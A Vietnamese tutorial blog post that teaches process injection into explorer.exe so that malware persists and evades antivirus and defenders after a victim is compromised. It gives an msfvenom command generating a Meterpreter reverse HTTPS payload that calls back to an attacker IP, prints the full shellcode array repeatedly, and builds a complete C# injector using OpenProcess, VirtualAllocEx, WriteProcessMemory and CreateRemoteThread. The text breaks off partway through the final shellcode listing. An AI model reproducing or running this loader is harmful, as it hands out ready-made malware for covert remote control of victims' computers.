- vừa được xem lúc

Tìm hiểu cơ bản về Process Injection

0 0 29

Người đăng: Bụng Rỗng

Theo Viblo Asia


Bài toán đặt ra là trường hợp chúng ta đã chiếm quyền điều khiển Victim thành công (RCE), tuy nhiên cần duy trì sự hiện diện thường xuyên, đồng thời che mắt AntiVirus và đội ngũ Blue Team. Trong quá trình hoạt động thông thường, nạn nhân có thể đóng ứng dụng hay mã độc bị phát hiện và bị xóa đi. Do đó chúng ta cần quá trình process injection

Để kéo dài tuổi thọ của Malware, chúng ta có thể "anh hùng núp" trong một process hợp pháp.Một trong những process như vậy là explorer.exe.

explorer.exe luôn là một mục tiêu lý tưởng để injection. Đơn giản nó luôn tồn tại và không thoát ra cho đến khi người dùng đăng xuất.

1. Process Injection

Theo định nghĩa, một process là một container được tạo ra để chứa một ứng dụng đang chạy. Mỗi tiến trình Windows thì duy trì một "virtual memory space" của riêng nó. Đồng thời chúng ta có thể tương tác với nó thông qua Win32 API

Về tổng quan, chúng ta có thể bắt đầu process injection bằng cách mở một channel từ process này sang process khác thông qua hàm OpenProcess - sau đó chúng ta sẽ sử đổi không gian bộ nhớ thông qua hàm VirtualAllocExWriteProcessMemory và cuối cùng thực thi bên trong process với CreateRemoteThread

Đầu tiên, để có thể can thiệp vào một process - chúng ta cần có quyền làm điều đó với tham số check dwDesiredAccess

Screenshot_10.png

Mở notepad với user thông thường - tiến trình notepad.exe khởi chạy

Screenshot_14.png

Kiểm tra tiến hình với process_dump (https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)

Kiểm tra khả năng control của tài khoản với process này

Ta có thể thấy rằng, Notepad được bảo mật ở mức độ trung bình, đồng thời tài khoản user có quyền đọc và ghi với process này.

Mở notepad với user admin

Khi này ta thấy mức độ bảo mật đã được nâng lên mức HIGH

và user thường không còn quyền truy cập vào process này nữa

Như vậy ta chỉ có thể injection vào process đang chạy ở cùng một mức độ toàn vẹn hoặc thấp hơn.

Quay lại function sau đây

  • bInheritHandle xác định xem return có thể được kế thừa bởi một chương trình con hay không (BOOL)
  • dwProcessId chỉ định ID process cần injection

Sau khi OpenProcess() để xác định process, chúng ta sử dụng VirtualAllocEx() để cấp phát bộ nhớ - mở rộng không gian để chứa shellcode - của chúng ta

Screenshot_11.png

Tiếp theo là WriteProcessMemory cho phép chúng ta injection shellcode vào process.

Screenshot_12.png

CreateRemoteThread để run process

Screenshot_13.png

1.2. Process Injection với C#

Tóm tắt quá trình chúng ta sẽ inject 1 Shellcode vào process explorer sử dụng C#

Nguyên liệu :

  • Shellcode (Generate với msfvenom)
sudo msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.49.138 lport=443 -b "x00" -f csharp
byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; 
  • explorer.exe Process ID (5536)

Screenshot_1.png

  • Code C# Visual Studio
using System;
using System.Runtime.InteropServices; namespace Inject
{ class Program { static void Main(string[] args) { } }
}
  • Gọi API Win32

Quay lại quá trình Process Injection ta cơ bản có 4 quá trình như sau

Bước 1 . Gọi OpenProcess để xác định process cần injection

Bước 2. Mở rộng không gian chứa shell code với VirtualAllocEx

Bước 3. Ghi shellcode vào process với WriteProcessMemory

Bước 4. Thực thi procees với CreateRemoteThread

Vậy để có thể thực hiện hành công quá trình process injection ta cần lần lượt gọi các API : OpenProcess , VirtualAllocEx , WriteProcessMemory , CreateRemoteThread sau đó thực thi chúng với các parameter thích hợp

Để gọi các API trên, ta tiến hành truy cập vào www.pinvoke.net, sau đó lần lượt search các API trên ta sẽ có được các kết quả

OpenProcess

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId);

VirtualAllocEx

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

WriteProcessMemory

[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten);

CreateRemoteThread

static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

Đoạn code sẽ trở nên như này

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices; namespace ConsoleApp2
{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); static void Main(string[] args) { // Tham số sẽ ghi ở đây } }
} 

Sử dụng Win32 API

  1. Đầu tiên là API OpenProcess . Tra cứu trên tài liệu của Microsoft ra có `
HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId
);
  • Tham số dwDesiredAccess là quyền truy cập mà chúng ta muốn có được cho process . Giá trị của nó sẽ được kiểm tra dựa trên "security descriptor" (2 giá trị này phải tương thích với nhau). Ở đây ra set quyền PROCESS_ALL_ACCESS . Quyền này sẽ cung cấp cho chúng ta truy cập đầy đủ vào explorer.exe

Screenshot_2.png

Biểu diễn dưới dạng thập lục phân ta có giá trị 0x001F0FFF

  • Tham số bInheritHandle cho chúng ta quyết định xem , liệu một child process đã tạo, có thể kế thừa xử lý này hay không.

Trong trường hợp này, chúng ta không cần quan tâm nên đặt là false

  • Tham số dwProcessId cho ID của process explorer.exe mà ta đã lấy được bên trên 5536

Tổng quan với API OpenProcess ta có

IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536)
  1. Tiếp theo, chúng ta tiến hành bước cấp phát bộ nhớ với VirtualAllocEx, tra cứu tài liệu API ta có các dùng như sau
LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect
);
  • Tham số hProcess chính là process xử lý explorer.exe mà ta đã lấy được từ trước

  • Tham số lpAddress là địa chỉ mong muốn mà ta muốn cấp phát cho remote process. Nếu API thành công,Buffer mới sẽ được cấp phát với một địa chỉ ban đầu như được cung cấp trong lpAddress . Tuy nhiên nếu giá trị này đã được cấp phát thì API sẽ không gọi thành công . Cho nên tốt nhất để giá trị null, API sẽ sử dụng một địa chỉ không sử dụng lpAddress = IntPtr.Zero

Quá trình này giống như khi ta sử dụng IP static trong mạng LAN. Nếu IP đã được dùng rồi, kết nối sẽ không thành công. Thay vì đó chúng ta sử dụng DHCP để tự động cấp các IP đang không được sử dụng

  • 3 tham số dwSize, flAllocationType, flProtect chỉ định : Kích thước phân bổ mong muốn , Kiểu cấp phát , Bảo vệ bố nhớ

Ở đây ta set chúng tương ứng thành 0x1000 (4096 byte) , 0x3000 (MEM_COMMIT và MEM_RESERVE) , 0x40 (PAGE_EXECUTE_READWRITE)

Tổng quan với VirtualAllocEx ta có

IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40)
  1. Tiếp đến ta tiến hành sao chép Shellcode vào memory space của explorer.exe thông qua WriteProcessMemory

Tra cứu tài liệu Microsoft ta có thông số như sau

BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten
);
  • Tham số hProcess như bên trên
  • Tham số lpBaseAddress là địa chỉ bộ nhớ mới được cấp phát trong explorer.exe
  • Tham số lpBuffer địa chỉ mảng byte chứa shellcode
  • Tham số nSize là kích thước của shellcode sẽ được sao chép
  • Tham số lpNumberOfBytesWritten để output ra bao nhiêu dữ liệu đã được sao chép

Kết hợp với shellcode đã tạo ở trên ta có code

byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
0x04,0x41,0x59,0x49,0xba,0x75,0x46,0x9e,0x86,0x00,0x00,0x00,0x00,0xff,0xd5,
0x4d,0x31,0xc0,0x53,0x5a,0x48,0x89,0xf1,0x4d,0x31,0xc9,0x4d,0x31,0xc9,0x53,
0x53,0x49,0xc7,0xc2,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x1f,0x48,
0xc7,0xc1,0x88,0x13,0x00,0x00,0x49,0xba,0x44,0xf0,0x35,0xe0,0x00,0x00,0x00,
0x00,0xff,0xd5,0x48,0xff,0xcf,0x74,0x02,0xeb,0xaa,0xe8,0x55,0x00,0x00,0x00,
0x53,0x59,0x6a,0x40,0x5a,0x49,0x89,0xd1,0xc1,0xe2,0x10,0x49,0xc7,0xc0,0x00,
0x10,0x00,0x00,0x49,0xba,0x58,0xa4,0x53,0xe5,0x00,0x00,0x00,0x00,0xff,0xd5,
0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,
0xc0,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x49,0xba,0x12,0x96,0x89,0xe2,0x00,
0x00,0x00,0x00,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb2,0x66,0x8b,
0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd2,0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,
0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 }; IntPtr outSize; WriteProcessMemory(hProcess,addr,buf , buf.Length, out outSize);

Ở đây ta thấy một giá trị "mới" được thêm vào đó là out . Để nó chuyển qua reference thay vì là một Value

  1. Tiếp đến ta thực thi shellcode thông qua CreateRemoteThread

Tra cứu tài liệu Microsoft ra có

HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId
);

Ở đây ta thấy có nhiều tham số, nhưng ta không cần phải gọi hết ,

  • Tham số hProcess như trên

  • Tham số lpThreadAttributes mô tả bảo mật mong muốn của thread mới (mặc định là NULL)

  • Tham số dwStackSize set kích thước Slack (Mặc định đặt là 0)

  • Tham số lpStartAddress chỉ định địa chỉ bắt đầu của thread, trong trường hợp của chúng ta, nó phải bắt đầu bằng địa chỉ buffer mà chúng ta đã cấp phát bên trên

  • Tham số lpParameter là một con trỏ tới các biến sẽ được chuyển đến hàm lpStartAddress . Vì Shellcode của chúng ta không có bất kỳ options nào, nên đặt một giá trị NULL tại đây

  • Hai tham số dwCreationFlagslpThreadId ta bỏ qua

Như vậy là có lần lượt các giá trị sau : hProcess , IntPtr.Zero , 0 , addr , IntPtr.Zero , 0 ,IntPtr.Zero)

Code sẽ thành

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Đoạn code cuối cùng chúng ta nhận được

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices; namespace ConsoleApp2
{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr OpenProcess(uint processAccess,bool bInheritHandle,uint processId); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr hProcess,IntPtr lpBaseAddress,byte[] lpBuffer,Int32 nSize,out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); static void Main(string[] args) { IntPtr hProcess = OpenProcess(0x001F0FFF, false, 5536); IntPtr addr = VirtualAllocEx(hProcess,IntPtr.Zero, 0x1000, 0x3000,0x40); byte[] buf = new byte[773] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x44,
0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x4d,
0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,
0x48,0x01,0xd0,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x48,0x31,0xdb,0x53,0x49,0xbe,0x77,0x69,0x6e,0x69,
0x6e,0x65,0x74,0x00,0x41,0x56,0x48,0x89,0xe1,0x49,0xc7,0xc2,0x4c,0x77,0x26,
0x07,0xff,0xd5,0x53,0x53,0x48,0x89,0xe1,0x53,0x5a,0x4d,0x31,0xc0,0x4d,0x31,
0xc9,0x53,0x53,0x49,0xba,0x3a,0x56,0x79,0xa7,0x00,0x00,0x00,0x00,0xff,0xd5,
0xe8,0x0f,0x00,0x00,0x00,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x34,0x39,
0x2e,0x31,0x33,0x38,0x00,0x5a,0x48,0x89,0xc1,0x49,0xc7,0xc0,0x5c,0x11,0x00,
0x00,0x4d,0x31,0xc9,0x53,0x53,0x6a,0x03,0x53,0x49,0xba,0x57,0x89,0x9f,0xc6,
0x00,0x00,0x00,0x00,0xff,0xd5,0xe8,0xdb,0x00,0x00,0x00,0x2f,0x4d,0x45,0x76,
0x4b,0x50,0x6c,0x44,0x53,0x69,0x76,0x4e,0x4e,0x35,0x30,0x7a,0x6c,0x4c,0x36,
0x5f,0x41,0x78,0x77,0x39,0x77,0x77,0x61,0x55,0x41,0x6d,0x43,0x6b,0x7a,0x4b,
0x5f,0x51,0x61,0x48,0x4d,0x58,0x53,0x70,0x75,0x4b,0x6b,0x73,0x73,0x73,0x69,
0x71,0x52,0x44,0x34,0x46,0x58,0x69,0x52,0x34,0x35,0x52,0x7a,0x33,0x38,0x6b,
0x72,0x68,0x75,0x41,0x6d,0x2d,0x66,0x6f,0x5a,0x36,0x49,0x32,0x6a,0x78,0x44,
0x76,0x75,0x72,0x6e,0x66,0x62,0x64,0x4f,0x45,0x33,0x57,0x33,0x65,0x54,0x51,
0x59,0x4a,0x59,0x4e,0x64,0x67,0x4d,0x66,0x4c,0x41,0x74,0x59,0x51,0x67,0x39,
0x4f,0x72,0x67,0x71,0x48,0x55,0x70,0x34,0x44,0x59,0x47,0x53,0x64,0x4d,0x37,
0x52,0x47,0x75,0x4d,0x32,0x46,0x43,0x6a,0x38,0x38,0x50,0x52,0x4d,0x58,0x59,
0x57,0x57,0x6d,0x56,0x55,0x41,0x71,0x6d,0x6f,0x70,0x36,0x2d,0x61,0x4d,0x45,
0x50,0x75,0x37,0x53,0x53,0x4f,0x41,0x4e,0x56,0x59,0x5a,0x79,0x5f,0x7a,0x5f,
0x74,0x47,0x71,0x55,0x73,0x32,0x50,0x64,0x2d,0x34,0x65,0x65,0x46,0x6e,0x78,
0x41,0x52,0x32,0x6d,0x6f,0x41,0x59,0x4f,0x4f,0x6f,0x6a,0x32,0x65,0x4f,0x51,
0x4c,0x47,0x4d,0x32,0x51,0x55,0x51,0x2d,0x2d,0x32,0x42,0x43,0x2d,0x33,0x64,
0x54,0x31,0x2d,0x78,0x00,0x48,0x89,0xc1,0x53,0x5a,0x41,0x58,0x4d,0x31,0xc9,
0x53,0x48,0xb8,0x00,0x32,0xa8,0x84,0x00,0x00,0x00,0x00,0x50,0x53,0x53,0x49,
0xc7,0xc2,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x6a,0x0a,0x5f,0x48,
0x89,0xf1,0x6a,0x1f,0x5a,0x52,0x68,0x80,0x33,0x00,0x00,0x49,0x89,0xe0,0x6a,
